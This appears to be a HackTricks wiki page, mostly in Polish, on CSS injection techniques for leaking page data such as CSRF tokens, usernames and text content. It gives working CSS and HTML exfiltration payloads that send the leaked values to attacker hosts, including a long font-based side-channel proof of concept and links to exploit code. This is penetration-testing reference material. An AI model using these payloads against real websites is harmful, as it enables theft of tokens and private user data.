CSS Injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
CSS Injection
LESS Code Injection
LESS jest popularnym preprocesorem CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS pobierze zasoby odwołane w instrukcjach @import i osadzi (“inline”) ich zawartość w wynikowym CSS, gdy użyta jest opcja (inline).
{{#ref}} less-code-injection.md {{/ref}}
Selektor atrybutu
Selektory CSS są tworzone tak, aby dopasowywały wartości atrybutów name i value elementu input. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest predefiniowany zasób zewnętrzny:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Niemniej jednak to podejście napotyka ograniczenie w przypadku ukrytych elementów input (type=“hidden”), ponieważ ukryte elementy nie ładują tła.
Obejście dla ukrytych elementów
Aby obejść to ograniczenie, możesz skierować selektor na następujący element rodzeństwa, używając ~ general sibling combinator. Reguła CSS zostanie wtedy zastosowana do wszystkich elementów będących rodzeństwem występujących po ukrytym elemencie input (type=“hidden”), powodując załadowanie obrazu tła:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Praktyczny przykład wykorzystania tej techniki jest szczegółowo opisany w dołączonym fragmencie kodu. Możesz go zobaczyć here.
Prerequisites for CSS Injection
Aby technika CSS Injection była skuteczna, muszą być spełnione pewne warunki:
- Payload Length: wektor CSS Injection musi obsługiwać wystarczająco długie payloads, aby pomieścić przygotowane selektory.
- CSS Re-evaluation: Powinieneś mieć możliwość załadowania strony w ramce, co jest niezbędne do wywołania ponownego przetworzenia CSS z nowo wygenerowanymi payloads.
- External Resources: Technika zakłada możliwość użycia obrazów hostowanych zewnętrznie. Może to być ograniczone przez Content Security Policy (CSP).
Blind Attribute Selector
As explained in this post, it’s possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It’s also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Łącząc to z następującą @import techniką, możliwe jest eksfiltracja dużej ilości informacji przy użyciu CSS injection z blind pages przy pomocy blind-css-exfiltration.
@import
Poprzednia technika ma pewne wady — sprawdź wymagania wstępne. Musisz albo móc wysłać ofierze wiele linków, albo umieć osadzić stronę podatną na CSS injection w iframe.
Istnieje jednak inna sprytna technika, która wykorzystuje CSS @import, aby poprawić jakość metody.
Po raz pierwszy pokazał to Pepe Vila i działa to w ten sposób:
Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych payloadów za każdym razem (jak w poprzedniej metodzie), załadujemy stronę tylko raz i tylko z importem do serwera atakującego (to jest payload, który wysyłamy ofierze):
@import url("//attacker.com:5001/start?");
- Import będzie odbierać jakiś skrypt CSS od atakujących i przeglądarka go załaduje.
- Pierwsza część skryptu CSS, którą wyśle atakujący, to another @import to the attackers server again.
- Serwer atakującego nie odpowie jeszcze na to żądanie, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import payloadem, który wycieknie kolejne.
- Druga i większa część payloadu będzie attribute selector leakage payload
- To wyśle do serwera atakującego pierwszy znak sekretu i ostatni
- Gdy serwer atakującego otrzyma pierwszy i ostatni znak sekretu, odpowie na import zażądany w kroku 2.
- Odpowiedź będzie dokładnie taka sama jak kroki 2, 3 i 4, ale tym razem spróbuje znaleźć drugi znak sekretu, a następnie przedostatni.
Atakujący będzie podążać tą pętlą, aż uda mu się całkowicie leakować sekret.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
Skrypt będzie próbował odkryć po 2 znaki za każdym razem (z początku i z końca), ponieważ attribute selector pozwala robić rzeczy takie jak:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
Dzięki temu skrypt może szybciej leakować sekret.
Warning
Czasami skrypt nie wykrywa poprawnie, że znaleziony prefiks + sufiks to już kompletna flaga i będzie kontynuował do przodu (dla prefiksu) i do tyłu (dla sufiksu) i w pewnym momencie się zablokuje.
Spokojnie, sprawdź output, ponieważ możesz tam zobaczyć flagę.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
Ta prymitywa umożliwia eksfiltrację używając wyłącznie atrybutu style elementu inline, bez selektorów ani zewnętrznych arkuszy stylów. Opiera się na CSS custom properties, funkcji attr() do odczytu atrybutów tego samego elementu, nowych warunkach CSS if() do rozgałęzień oraz image-set() do wywołania żądania sieciowego, które zakoduje dopasowaną wartość.
Warning
Porównania równości w if() wymagają podwójnych cudzysłowów dla literałów łańcuchów znaków. Pojedyncze cudzysłowy nie będą dopasowane.
- Sink: kontroluj atrybut style elementu i upewnij się, że docelowy atrybut znajduje się na tym samym elemencie (attr() czyta tylko atrybuty tego samego elementu).
- Read: skopiuj atrybut do zmiennej CSS: –val: attr(title).
- Decide: wybierz URL używając zagnieżdżonych warunków porównujących zmienną z kandydatami stringów: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: zastosuj background: image-set(var(–steal)) (lub dowolną właściwość powodującą pobranie), aby wymusić żądanie do wybranego endpointu.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Działający payload (w porównaniu wymagane podwójne cudzysłowy):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerowanie wartości atrybutów z zagnieżdżonymi warunkami:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Realistyczne demo (sondowanie nazw użytkowników):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Uwagi i ograniczenia:
- Działa w przeglądarkach opartych na Chromium w czasie badań; zachowanie może się różnić w innych silnikach.
- Najlepiej nadaje się do skończonych/wyliczalnych przestrzeni wartości (IDs, flags, short usernames). Kradzież dowolnie długich ciągów bez zewnętrznych arkuszy stylów pozostaje wyzwaniem.
- Każda właściwość CSS, która pobiera URL, może zostać użyta do wywołania żądania (np. background/image-set, border-image, list-style, cursor, content).
Automatyzacja: Burp Custom Action może wygenerować zagnieżdżone payloady inline-style do brute-force wartości atrybutów: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Inne selektory
Inne sposoby dostępu do części DOM za pomocą CSS selectors:
- .class-to-search:nth-child(2): To wyszuka drugi element z klasą “class-to-search” w DOM.
- :empty selector: Używany na przykład w this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
XS-Search oparty na błędach
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Ogólnym celem jest użycie niestandardowej czcionki z kontrolowanego endpointu i zapewnienie, że tekst (w tym przypadku, ‘A’) jest wyświetlany tą czcionką tylko jeśli określony zasób (favicon.ico) nie może zostać załadowany.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Użycie niestandardowej czcionki:
- Niestandardowa czcionka jest zdefiniowana za pomocą reguły @font-face wewnątrz znacznika
- Czcionka nazywa się poc i jest pobierana z zewnętrznego endpointu (http://attacker.com/?leak).
- Właściwość unicode-range ustawiona jest na U+0041, celując w konkretny znak Unicode ‘A’.
- Element :
- W sekcji utworzono element
- font-family tego elementu ustawiona jest na ‘poc’, zgodnie z definicją w sekcji
- Jeżeli zasób (favicon.ico) nie załaduje się, wyświetlona zostanie zawartość zastępcza (literka ‘A’) wewnątrz znacznika
- Zawartość zastępcza (‘A’) zostanie wyrenderowana przy użyciu niestandardowej czcionki poc jeśli zasób zewnętrzny nie będzie dostępny.
Stylowanie Scroll-to-Text Fragment
Pseudoklasa :target jest stosowana do wyboru elementu wskazanego przez fragment URL, zgodnie z CSS Selectors Level 4 specification. Należy zrozumieć, że ::target-text nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie wskazany przez fragment.
Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję Scroll-to-text fragment, co pozwala im potwierdzić obecność konkretnego tekstu na stronie poprzez załadowanie zasobu z ich serwera za pomocą HTML injection. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
:target::before {
content: url(target.png);
}
W takich scenariuszach, jeśli na stronie znajduje się tekst “Administrator”, zasób target.png zostaje pobrany z serwera, co wskazuje na obecność tego tekstu. Przykład takiego ataku można wykonać za pomocą specjalnie spreparowanego adresu URL, który osadza wstrzyknięty CSS wraz z Scroll-to-text fragmentem:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text “Administrator” through the Scroll-to-text fragment (#:~:text=Administrator). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
Aby złagodzić ryzyko, należy zwrócić uwagę na następujące punkty:
- Ograniczone dopasowanie STTF: Scroll-to-text Fragment (STTF) jest zaprojektowany tak, aby dopasowywać tylko słowa lub zdania, ograniczając tym samym jego zdolność do leakowania dowolnych sekretów lub tokenów.
- Ograniczenie do kontekstów przeglądania najwyższego poziomu: STTF działa wyłącznie w top-level browsing contexts i nie funkcjonuje wewnątrz iframe’ów, co sprawia, że każda próba wykorzystania jest bardziej zauważalna dla użytkownika.
- Wymóg aktywacji użytkownika: STTF wymaga gestu user-activation, aby działać, co oznacza, że exploitacje są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Ten wymóg znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej autor wpisu na blogu wskazuje na konkretne warunki i bypasses (np. social engineering, interakcja z popularnymi browser extensions), które mogą ułatwić automatyzację ataku.
Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa sieciowego i ochrony przed takimi technikami ataku.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Możesz sprawdzić exploit using this technique for a CTF here.
@font-face / unicode-range
Można określić zewnętrzne fonty dla konkretnych wartości unicode, które zostaną pobrane tylko wtedy, gdy te wartości unicode będą obecne na stronie. Na przykład:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Kiedy uzyskujesz dostęp do tej strony, Chrome i Firefox pobierają “?A” i “?B”, ponieważ węzeł tekstowy sensitive-information zawiera znaki “A” i “B”. Jednak Chrome i Firefox nie pobierają “?C”, ponieważ nie zawiera on “C”. Oznacza to, że udało nam się odczytać “A” i “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Opisywana technika polega na wydobywaniu tekstu z węzła przez wykorzystanie ligatur fontów i monitorowanie zmian szerokości. Proces obejmuje kilka kroków:
- Creation of Custom Fonts:
- Tworzy się fonty SVG z glifami mającymi atrybut horiz-adv-x, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
- Przykładowy glif SVG:
, gdzie “XY” oznacza sekwencję dwóch znaków. - Te fonty są następnie konwertowane do formatu woff przy użyciu fontforge.
- Detection of Width Changes:
- CSS jest używany, by zapobiec zawijaniu tekstu (white-space: nowrap) oraz by dostosować styl paska przewijania.
- Pojawienie się poziomego paska przewijania, wystylizowanego w szczególny sposób, działa jako wskaźnik (oracle), że konkretna ligatura, a zatem konkretna sekwencja znaków, jest obecna w tekście.
- Zaangażowany CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: Tworzone są fonty dla par znaków o znaczącej szerokości.
- Step 2: Wykorzystywany jest trik z paskiem przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność tej sekwencji znaków.
- Step 3: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, zawierające wykrytą parę oraz dodający się przed lub po niej znak.
- Step 4: Przeprowadzane jest wykrycie ligatury trzy-znakowej.
- Step 5: Proces się powtarza, stopniowo ujawniając cały tekst.
- Optimization:
- Obecna metoda inicjalizacji używająca nie jest optymalna.
- Bardziej efektywne podejście mogłoby wykorzystać trik CSS @import, poprawiając wydajność exploita.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
Ten trik został opublikowany w tym Slackers thread. Zestaw znaków użyty w węźle tekstowym można wyciec (leak) przy użyciu domyślnych fontów zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne ani niestandardowe fonty.
Koncepcja opiera się na wykorzystaniu animacji do stopniowego powiększania szerokości diva, co pozwala jednemu znakowi naraz przejść z części ‘suffix’ tekstu do części ‘prefix’. Proces ten efektywnie dzieli tekst na dwie sekcje:
- Prefix: początkowa linia.
- Suffix: kolejna(-e) linia(-y).
Etapy przejścia znaków wyglądają następująco:
C
ADB
CA
DB
CAD
B
CADB
Podczas tego przejścia stosowany jest trik z unicode-range, aby identyfikować każdy nowy znak, który dołącza do prefixu. Osiąga się to przez przełączenie fontu na Comic Sans, który jest zauważalnie wyższy niż domyślny font, co powoduje pojawienie się pionowego paska przewijania. Pojawienie się tego paska pośrednio ujawnia obecność nowego znaku w prefixie.
Chociaż ta metoda pozwala wykryć unikalne znaki w miarę ich pojawiania się, nie określa, który znak jest powtórzony — jedynie że wystąpiło powtórzenie.
Tip
Zasadniczo unicode-range jest używany do wykrycia znaku, ale ponieważ nie chcemy ładować zewnętrznego fontu, musimy znaleźć inną metodę.
Gdy znak zostanie znaleziony, przypisuje mu się preinstalowany font Comic Sans, który powiększa znak i wywołuje pasek przewijania, co spowoduje, że zostanie leak znalezionego znaku.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Źródło: Wzmiankowano to jako an unsuccessful solution in this writeup
Ten przypadek jest bardzo podobny do poprzedniego, jednak tutaj celem jest sprawienie, żeby konkretne chars większe od innych, aby ukryć coś — np. przycisku, aby bot go nie nacisnął, albo obrazu, który nie zostanie załadowany. Dzięki temu możemy zmierzyć wykonanie akcji (lub jej brak) i ustalić, czy konkretny char występuje w tekście.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Źródło: Wzmiankowano to jako an unsuccessful solution in this writeup
W tym przypadku możemy spróbować leak, czy dany char znajduje się w tekście, ładując fałszywą czcionkę z tego samego originu:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Jeśli wystąpi dopasowanie, czcionka zostanie załadowana z /static/bootstrap.min.css?q=1. Chociaż nie załaduje się poprawnie, przeglądarka powinna ją zbuforować, a nawet jeśli nie ma cache, istnieje mechanizm 304 not modified, więc odpowiedź powinna być szybsza niż inne rzeczy.
Jednak jeśli różnica czasowa między zbuforowaną odpowiedzią a niezbuforowaną nie jest wystarczająco duża, to nie będzie to użyteczne. Na przykład autor wspomniał: „Po testach stwierdziłem, że pierwszy problem to to, że prędkość nie różni się znacząco, a drugi problem to że bot używa flagi disk-cache-size=1, co jest naprawdę przemyślane.”
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
W tym przypadku możesz wskazać CSS ładujący setki fałszywych czcionek z tej samej domeny, gdy wystąpi dopasowanie. W ten sposób możesz zmierzyć czas, jaki to zajmuje, i dowiedzieć się, czy znak się pojawia, czy nie, przy użyciu czegoś takiego:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
A kod bota wygląda tak:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Zatem, jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzin bota powinien wynosić około 30 sekund. Jednak jeśli czcionka pasuje, wysyłanych będzie wiele żądań pobrania czcionki, co powoduje ciągłą aktywność sieci. W rezultacie spełnienie warunku zatrzymania i otrzymanie odpowiedzi zajmie więcej czasu. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do ustalenia, czy wystąpiła zgodność czcionki.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

